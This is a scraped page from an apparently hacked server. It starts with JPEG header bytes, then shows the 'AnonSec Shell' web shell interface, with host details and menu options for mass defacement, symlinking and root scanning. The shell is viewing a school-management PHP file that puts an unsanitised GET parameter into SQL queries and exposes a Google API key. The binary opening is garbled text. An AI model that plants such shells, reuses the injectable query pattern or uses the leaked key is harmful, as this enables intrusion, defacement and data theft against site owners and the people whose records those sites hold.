JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/sgae/obidos/form/escola/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/sgae/obidos/form/escola/escola_e.php
<?php
    /**
     * Copyright (c) 2018.
     * O sistema está protegido por copyright.
     * Todo o copyright ou outros direitos de propriedade intelectual presentes no sistema, imagens, som, software e outros conteúdos do site são propriedade de Ralp Alves
     * Bezerra.
     * É permitida a pesquisa no sistema e a reprodução de excertos através de impressão ou distribuição para outras pessoas, mas em todos os casos para fins não comerciais.
     * Apenas é permitido o uso dos conteúdos do sistema para utilização pessoal. Nenhuma parte do sistema poderá ser reproduzida para ser vendida ou distribuída para ganhos
     * comerciais nem poderá ser modificada ou incorporada em qualquer outro trabalho, publicação ou site tanto no formato electrónico, como transferência para qualquer outro
     * site. Nenhuma outra licença ou direitos relacionados com o site são concedidos, sem autorização expressa do autor.
     */
    
    /**
     * Created by PhpStorm.
     * User: ralpb
     * Date: 20/09/2017
     * Time: 00:46
     */
    
    $id       = $_GET['id'];
    $escola   = $conn->query("select * from v_escola WHERE esc_id=$id");
    $e        = $escola->fetch(PDO::FETCH_OBJ);
    $rota     = $conn->query("SELECT * FROM escola_rota ORDER BY rota");
    $distrito = $conn->query("SELECT * FROM escola_distrito ORDER BY descricao");
    $tipo     = $conn->query("SELECT * FROM escola_tipo");
    $esc_prg  = $conn->query("select * from v_escola_programa WHERE esc_id=$id");
    $programa = $conn->query("SELECT * FROM programas WHERE ativo=1 ORDER BY programa_id");

?>
<!--encaminhar_protocolo-->
<head>
    <script>
        function combo(id, acao, valor) {
            $.ajax({
                type: "GET",
                url: './ajax.php?a=' + acao + '&valor=' + valor,
                dataType: "html",
                success: function (resultado) {
                    //alert(resultado);

                    $('#' + id).html(resultado);
                    //$('#resposta').html(resultado);
                }
            });
        }
    </script>
</head>
<body>
<section class="content-header">
    <h1>
        <a href="?page=escola/escola_g" title="voltar" id="d_inicio2"><i class="fa fa-reply"><span>&nbsp;</span></i></a>
        <span class="text-bold text-blue titulo">Escola</span>
        <small class="text-orange text-bold"><strong>(EDIÇÃO)</strong></small>
        <!--        <a href='#' class="text-center" onclick="startIntro_pe();" title="mostrar dicas"><i class="fa fa-question text-gray"></i></a>-->
        <!--<a href="index.php" title="Novo registro" class="pull-right"><i class="fa fa-plus-square text-green"></i></a>-->
    </h1>
    <ol class="breadcrumb">
        <li id="d_inicio"><a href="index.php"><i class="fa fa-dashboard"></i> Início</a></li>
        <li class="active">SGAE</li>
    </ol>
</section>

<section class="content">
    <form id="f_escola_n" name="f_escola_n" method="post" action="?page=escola/escola_a&var=editar">
        <!--DADOS DA ESCOLA-->
        <div class="box box-primary">
            <div class="box-header with-border">
                <h3 class="box-title text-bold text-blue titulo">Dados da Escola</h3>
                <div class="box-tools pull-right">
                    <button type="button" class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
                </div>
            </div>
            <input type="hidden" value="<?php echo $_cod_usuario ?>" name="cod_usuario">
            <div class="box-body">
                <div class="row">
                    <div class="col-md-12">
                        <div class="col-md-2">
                            <h5 class="text-bold text-lbl-campo">ID </h5>
                            <div>
                                <input type="text" value="<?php echo $e->esc_id ?>" readonly name="esc_id" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-8">
                            <h5 class="text-bold text-lbl-campo">Escola </h5>
                            <div>
                                <input type="text" value="<?php echo $e->nome ?>" required name="nome" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-2">
                            <h5 class="text-bold text-lbl-campo">INEP </h5>
                            <div>
                                <input type="text" value="<?php echo $e->inep ?>" required name="inep" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-2">
                            <h5 class="text-bold text-lbl-campo">Telefone </h5>
                            <div>
                                <input type="text" value="<?php echo $e->telefone ?>" name="telefone" onkeyup="mascara(this,celular);" class="form-control uppercase" maxlength="14">
                            </div>
                        </div>
                        <div class="col-md-3">
                            <h5 id="distrito_dados1" class="text-bold text-lbl-campo">Distrito
                                <a href="#distrito_dados" data-izimodal-open="#modal_distrito"><i class="fa fa-plus-circle text-orange" title="incluir registro"></i></a>
                                <a href="#"><i onclick="combo('distrito_dados','sel_dado_distrito','0')" class="fa fa-refresh text-green" title="atualizar listagem"></i></a>
                            </h5>
                            <div>
                                <select id="distrito_dados" name="distrito_id" class="form-control select2">
                                    <option value="999999">Selecione</option>
                                    <?php while ($d = $distrito->fetch(PDO::FETCH_OBJ)) {
                                        if ($d->distrito_id==$e->distrito_id) {
                                            $selected = 'selected';
                                        } else {
                                            $selected = '';
                                        } ?>
                                        <option value="<?php echo $d->distrito_id ?>"<?php echo $selected; ?>><?php echo $d->descricao ?></option>
                                    <?php } ?>
                                </select>
                            </div>
                        </div>
                        <div class="col-md-2">
                            <h5 class="text-bold text-lbl-campo">Rota
                                <a href="#rota_dados" data-izimodal-open="#modal_rota"><i class="fa fa-plus-circle text-orange" title="incluir registro"></i></a>
                                <a href="#"><i onclick="combo('rota_dados','sel_dado_rota','0')" class="fa fa-refresh text-green" title="atualizar listagem"></i></a>
                            </h5>
                            <div>
                                <select id="rota_dados" name="rota_id" class="form-control select2">
                                    <option value="999999">Selecione</option>
                                    <?php while ($r = $rota->fetch(PDO::FETCH_OBJ)) {
                                        if ($r->rota_id==$e->rota_id) {
                                            $selected = 'selected';
                                        } else {
                                            $selected = '';
                                        } ?>
                                        <option value="<?php echo $r->rota_id ?>"<?php echo $selected; ?>><?php echo $r->rota ?></option>
                                    <?php } ?>
                                </select>
                            </div>
                        </div>
                        <div class="col-md-3">
                            <h5 class="text-bold text-lbl-campo">Tipo</h5>
                            <div>
                                <select name="tipo_id" class="form-control select2">
                                    <option value="999999">Selecione</option>
                                    <?php while ($t = $tipo->fetch(PDO::FETCH_OBJ)) {
                                        if ($t->tipo_id==$e->tipo_id) {
                                            $selected = 'selected';
                                        } else {
                                            $selected = '';
                                        } ?>
                                        <option value="<?php echo $t->tipo_id ?>"<?php echo $selected; ?>><?php echo $t->tipo ?></option>
                                    <?php } ?>
                                </select>
                            </div>
                        </div>
                        <div class="col-md-2">
                            <h5 class="text-bold text-lbl-campo">Município </h5>
                            <div>
                                <input type="text" value="<?php echo $e->municipio ?>" name="municipio" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-6">
                            <h5 class="text-bold text-lbl-campo">Endereço </h5>
                            <div>
                                <input type="text" value="<?php echo $e->endereco ?>" name="endereco" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-4">
                            <h5 class="text-bold text-lbl-campo">Bairro </h5>
                            <div>
                                <input type="text" value="<?php echo $e->bairro ?>" name="bairro" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-2">
                            <h5 class="text-bold text-lbl-campo">UF </h5>
                            <div>
                                <input type="text" value="<?php echo $e->uf ?>" name="uf" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-1" hidden>
                            <h5 class="text-bold text-lbl-campo">&nbsp; </h5>
                            <div>
                                <?php
                                    
                                    require_once('mapa_class.php');
                                    $gmaps    = new gMaps('AIzaSyAgUGGCI4K4_KN9QX_w7U7WPIiK4BCRSng');
                                    $endereco = $e->endereco;
                                    $dados    = $gmaps->geoLocal($e->endereco . ' ' . $e->bairro . ' ' . $e->municipio . ' ' . $e->uf);
                                ?>
                                <input type='hidden' name='latitude' value='<?php echo $dados->lat ?>' />
                                <input type='hidden' name='longitude' value='<?php echo $dados->lng ?>' />
                                <a class='cb50x50' onclick='call_cbox(); return false;' href="index2.php?page=escola/ver_mapa&latitude=<?php echo $dados->lat ?>&longitude=<?php echo $dados->lng ?>&escola=<?php echo $e->nome ?>"><i class="fa fa-map-marker fa-2x" title="ver no mapa"></i></a>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div id="googleMap"></div>
        <!--DADOS DO DIRETOR-->
        <div class="box box-primary">
            <div class="box-header with-border">
                <h3 class="box-title text-bold text-blue titulo">Dados do diretor</h3>
                <div class="box-tools pull-right">
                    <button type="button" class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
                </div>
            </div>
            <div class="box-body">
                <div class="row">
                    <div class="col-md-12">
                        <div class="col-md-5">
                            <h5 class="text-bold text-lbl-campo">Diretor </h5>
                            <div>
                                <input type="text" value="<?php echo $e->diretor ?>" name="diretor" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-2">
                            <h5 class="text-bold text-lbl-campo">Telefone </h5>
                            <div>
                                <input type="text" value="<?php echo $e->diretor_tel ?>" name="diretor_tel" onkeyup="mascara(this,celular);" class="form-control uppercase" maxlength="14">
                            </div>
                        </div>
                        <div class="col-md-5">
                            <h5 class="text-bold text-lbl-campo">E-mail </h5>
                            <div>
                                <input type="text" value="<?php echo $e->diretor_email ?>" name="diretor_email" class="form-control text-lowercase">
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!--SALVAR-->
        <div class="box box-primary text-center">
            <div class="row">
                <div class="col-md-12">
                    <button type="submit" title="salvar registro" class="btn btn-box-tool text-blue">
                        <i class="fa fa-check-circle fa-2x"><span class="text-bold FontCourier titulo"> Salvar</span></i>
                    </button>
                </div>
            </div>
        </div>
    </form>
    <!--PROGRAMAS-->
    <script>
        $("[data-widget='collapse']").click()
    </script>
    <div class="box box-primary collapsed-box">
        <div class="box-header with-border">
            <h3 class="box-title text-bold text-blue titulo">Programas</h3>
            <div class="box-tools pull-right ">
                <button type="button" class="btn btn-box-tool" data-widget="collapse" data-toggle="tooltip" title="Incluir programa para a escola">
                    <i class="fa fa-plus text-green fa-2x"></i></button>
                <a href='?page=escola/programa_e&idp=$idp' data-izimodal-open='#modal_programa_e'><i class='fa fa-pencil text-orange' style="font-size: 22px;" title='editar programas'></i></a>
            </div>
        </div>
        <div class="box-body">
            <form id="f_escola_prg" name="f_escola_prg" method="post" action="?page=escola/escola_a&var=programa_esc">
                <div class="col-md-12">
                    <div class="col-md-6">
                        <h5 class="text-bold text-lbl-campo">Programa
                            <a href="#programa_dados" data-izimodal-open="#modal_programa"><i class="fa fa-plus-circle text-orange" title="incluir registro"></i></a>
                            <a href="#programa_dados"><i onclick="combo('programa_id','sel_dado_programa','0')" class="fa fa-refresh text-green" title="atualizar listagem"></i></a>
                        </h5>
                        <input type="hidden" name="esc_id" value="<?php echo $e->esc_id ?>">
                        <div>
                            <select id="programa_id" name="programa_id" class="form-control select2" style="width: 100%;">
                                <option value="999999">Selecione</option>
                                <?php while ($p = $programa->fetch(PDO::FETCH_OBJ)) {
                                    if ($p->programa_id==$e->programa_id) {
                                        $selected = 'selected';
                                    } else {
                                        $selected = '';
                                    } ?>
                                    <option value="<?php echo $p->programa_id ?>"<?php echo $selected; ?>><?php echo $p->programa . ' - ' . $p->descricao ?></option>
                                <?php } ?>
                            </select>
                        </div>
                    </div>
                    <div class="col-md-2">
                        <h5 class="text-bold text-lbl-campo">Alunos </h5>
                        <div>
                            <input type="text" name="alunos" class="form-control uppercase">
                        </div>
                    </div>
                    <div class="col-md-2">
                        <h5 class="text-bold text-lbl-campo">Adesao % </h5>
                        <div>
                            <input type="text" name="adesao" class="form-control uppercase">
                        </div>
                    </div>
                    <div class="col-md-2">
                        <h5 class="text-bold text-lbl-campo">&nbsp; </h5>
                        <button type="submit" class="btn btn-box-tool form-control" title="salvar registro">
                            <i class="fa fa-check-circle fa-2x text-blue"></i> Salvar
                        </button>
                    </div>
                </div>
            </form>
        </div>
        <section class="content">
            <div class="card">
                <div class="box-header with-border hidden">
                    <h3 class="box-title text-bold text-blue">Programas</h3>
                </div>
                <div class="card-content table-responsive">
                    <table id="dtabela" class="table table-bordered table-responsive table-hover">
                        <thead>
                        <tr>
                            <th width="2%">ID</th>
                            <th>Programa</th>
                            <th>Alunos</th>
                            <th>% Adesão</th>
                        </tr>
                        </thead>
                        <tbody>
                        <?php
                            $alunos = 0;
                            while ($prg = $esc_prg->fetch(PDO::FETCH_OBJ)) {
                                echo "<tr>";
                                echo "<td>" . $prg->esc_prg_id . "</td>";
                                echo "<td>" . $prg->programa . "</td>";
                                echo "<td>" . $prg->alunos . "</td>";
                                echo "<td>" . $prg->adesao . "</td>";
                                echo "</tr>";
                                $alunos += $prg->alunos;
                            }
                        ?>
                        </tbody>
                    </table>
                    <table id="dtabela" class="table table-bordered table-responsive table-hover">
                        <thead>
                        <tr>
                            <th width="386px" class="text-center">Total de alunos: <?php echo $alunos ?></th>
                        </tr>
                        </thead>
                    </table>
                </div>
            </div>
        </section>
    </div>
    <div class="col-md-12">
        <div id="d_obs" class="text-center">
            <span style="font-size: 9px;"><?php echo 'Última alteração efetuada por ' . strtoupper($e->usuario) . ' em ' . date('d/m/Y', strtotime($e->data_edicao)) ?></span>
        </div>
    </div>
</section>

<link rel="stylesheet" href="components/iziModal-master/css/iziModal.min.css">
<script src="components/iziModal-master/js/iziModal.min.js" type="text/javascript"></script>
<script>
    $("#modal_programa_e").iziModal({
        title: 'SGAE',
        subtitle: '<?php echo $cliente->nome ?>',
        headerColor: '#367fa9',
        iframe: true,
        focusInput: true,
        width: '50%',
        radius: 10,
        bodyOverflow: true,
        transitionIn: 'fadeInLeft',
        transitionOut: 'fadeOutRight',
        iframeURL: "index2.php?page=escola/programa_e&id=<?php echo $e->esc_id ?>",
        onClosed: function () {
            window.location.reload()
        },
    });
</script>
<script>
    $("#modal_taco").iziModal({
        title: 'SGAE',
        subtitle: 'Vincular TACO V4',
        subtitle: '<?php echo $cliente->nome ?>',
        headerColor: '#367fa9',
        iframe: true,
        focusInput: true,
        width: '50%',
        radius: 10,
        bodyOverflow: true,
        transitionIn: 'fadeInLeft',
        transitionOut: 'fadeOutRight',
        iframeURL: "index2.php?page=produto/vincular_taco&id=<?php echo $i->cod_item ?>",
        onClosed: function () {
            window.location.reload()
        },
    });
</script>
<script>
    $("#modal_marca").iziModal({
        title: 'SGAE',
        subtitle: '<?php echo $cliente->nome ?>',
        headerColor: '#367fa9',
        iframe: true,
        focusInput: true,
        width: '50%',
        radius: 10,
        bodyOverflow: true,
        transitionIn: 'fadeInLeft',
        transitionOut: 'fadeOutRight',
        iframeURL: "index2.php?page=produto/marca",
        //onClosed: function () {
        //    window.location.reload()
        //},
    });
</script>
<script>
    $("#modal_rota").iziModal({
        title: 'SGAE',
        subtitle: '<?php echo $cliente->nome ?>',
        headerColor: '#367fa9',
        iframe: true,
        focusInput: true,
        width: '50%',
        radius: 10,
        bodyOverflow: true,
        transitionIn: 'fadeInLeft',
        transitionOut: 'fadeOutRight',
        iframeURL: "index2.php?page=escola/rota",
        //onClosed: function () {
        //    window.location.reload()
        //},
    });
</script>
<script>
    $("#modal_distrito").iziModal({
        title: 'SGAE',
        subtitle: '<?php echo $cliente->nome ?>',
        headerColor: '#367fa9',
        iframe: true,
        focusInput: true,
        width: '50%',
        radius: 10,
        bodyOverflow: true,
        transitionIn: 'fadeInLeft',
        transitionOut: 'fadeOutRight',
        iframeURL: "index2.php?page=escola/distrito",
        //onClosed: function () {
        //    window.location.reload()
        //},
    });
</script>
<script>
    $("#modal_programa").iziModal({
        title: 'SGAE',
        subtitle: '<?php echo $cliente->nome ?>',
        headerColor: '#367fa9',
        iframe: true,
        focusInput: true,
        width: '50%',
        radius: 10,
        bodyOverflow: true,
        transitionIn: 'fadeInLeft',
        transitionOut: 'fadeOutRight',
        iframeURL: "index2.php?page=escola/programa",
        //onClosed: function () {
        //    window.location.reload()
        //},
    });
</script>
<link href="dist/css/select2.min.css" rel="stylesheet"/>
<script src="dist/js/jquery.min.js"></script>
<script src="dist/js/select2.full.min.js"></script>
<script src="dist/js/jquery.ddslick.min.js"></script>
<script>
    $(function () {
        $('.select2').select2()
    })
</script>

<script type="text/javascript">
    $(document).ready(function () {
        $("#id_usuario").change(function () {
            // pega o valor do select selecionado
            var valor_select = $(this).val();
            // insere o valor no input desejado
            $("#id_recebe").val(valor_select);
        });
    });
</script>

<script type="text/javascript">
    function startIntro_pe() {
        var intro = introJs()
        intro.setOptions(
            {
                steps: [
                    {
                        element: '#d_inicio',
                        intro: "Clique para voltar para a  <b>listagem</b> de protocolos"
                    },
                ]
            });

        intro.start();
    }
</script>
<script type="text/javascript">
    function startIntro_anexo() {
        var intro = introJs()
        intro.setOptions(
            {
                steps: [
                    {
                        element: '#d_desc_anexo',
                        intro: "informe a descrição do arquivo que será anexado"
                    },
                ]
            });

        intro.start();
    }
</script>
<ToDO Colobox>
    <!--ABRIR JANELA COLORBOX-->
    <link rel="stylesheet" href="components/colorbox/example4/colorbox.css"/>
    <script src="components/colorbox/jquery.colorbox.js"></script>
    <script type="text/javascript">
        function call_cbox() {
            jQuery.colorbox($(".cb50x50").colorbox({
                iframe: true,
                title: "S.G.M.E. | <?php echo $cliente->nome ?>",
                width: "70%",
                height: "90%",
                overlayClose: false,
                fadeOut: 300,
                iframe: true,
                scrolling: true,
                overlayClose: false,
                close: "<i class='fa fa-times-circle fa-2x text-orange' title='voltar'></i>",
//                onClosed: function () {
//                    location.reload(true);
//                }
            }));
        }
    </script>
</ToDO>
</body>

Anon7 - 2022
AnonSec Team